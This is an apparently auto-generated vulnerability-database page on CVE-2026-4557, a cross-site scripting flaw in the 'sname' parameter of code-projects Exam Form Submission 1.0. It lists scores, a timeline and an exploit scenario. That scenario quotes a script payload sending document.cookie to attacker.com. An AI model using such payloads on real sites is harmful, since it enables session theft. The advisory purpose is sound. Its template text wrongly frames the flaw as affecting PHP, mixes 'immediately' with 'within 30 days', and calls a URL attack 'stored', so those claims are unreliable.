Which versions of PHP are affected by CVE-2026-4557?

Organizations using A vulnerability should be aware of moderate risk from CVE-2026-4557, a cross-site scripting vulnerability rated CVSS 4.3.

Is there a public PoC exploit available for CVE-2026-4557?

Yes, a public proof-of-concept exploit is available for CVE-2026-4557. Prioritise patching immediately. EPSS: 0.0%.

How to fix or mitigate CVE-2026-4557?

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. Verify Content-Security-Policy and output encoding.

PHP CVE-2026-4557

Q: What is the CVSS score of CVE-2026-4557?

CVE-2026-4557 has a CVSS 4.0 base score of 2.1 (Low). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.0%.

EUVD-2026-14331 LOW

Cross-site Scripting (XSS) (CWE-79)

2026-03-22 VulDB

GHSA-v6pg-hpm6-mh6m

PHP XSS

2.1

CVSS 4.0 · NVD

Severity by source

NVD PRIMARY

2.1 LOW

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Scope

Lifecycle Timeline

Severity Changed

Apr 29, 2026 - 01:11 NVD

MEDIUM LOW

CVSS changed

Apr 29, 2026 - 01:11 NVD

5.3 (MEDIUM) 2.1 (LOW)

CVSS changed

Apr 24, 2026 - 16:37 NVD

4.3 (MEDIUM) 5.3 (MEDIUM)

PoC Detected

Mar 23, 2026 - 14:31 vuln.today

Public exploit code

EUVD ID Assigned

Mar 22, 2026 - 17:45 euvd

EUVD-2026-14331

Analysis Generated

Mar 22, 2026 - 17:45 vuln.today

CVE Published

Mar 22, 2026 - 17:29 nvd

MEDIUM 4.3

DescriptionCVE.org

A vulnerability was detected in code-projects Exam Form Submission 1.0. This impacts an unknown function of the file /admin/update_s1.php. Performing a manipulation of the argument sname results in cross site scripting. The attack may be initiated remotely. The exploit is now public and may be used.

AnalysisAI

A Stored Cross-Site Scripting (XSS) vulnerability exists in code-projects Exam Form Submission version 1.0, affecting the /admin/update_s1.php file where the 'sname' parameter is not properly sanitized. An unauthenticated attacker can remotely inject malicious JavaScript by manipulating this parameter, which will execute in the browsers of administrators or other users who view the affected page. …

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Vulnerability AssessmentAI

Risk Assessment	While the CVSS v3.1 base score of 4.3 appears moderate, the actual risk is elevated by several exploitation signals. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker crafts a malicious URL containing JavaScript payload in the 'sname' parameter (e.g., /admin/update_s1.php?sname=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and tricks an administrator into clicking the link via phishing email or forum post. Because no authentication is required (PR:N) and attack complexity is low (AC:L), the attacker bypasses initial security barriers. …
Remediation	Immediately upgrade to a patched version of Exam Form Submission if code-projects releases one; check https://code-projects.org/ and https://vuldb.com/?id.352384 for updates. … Detailed patch versions, workarounds, and compensating controls in full report.

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Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. …

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CVE-2026-4557 vulnerability details – vuln.today

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PHP CVE-2026-4557

Severity by source

CVSS VectorNVD

Lifecycle Timeline

DescriptionCVE.org

AnalysisAI

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External POC / Exploit Code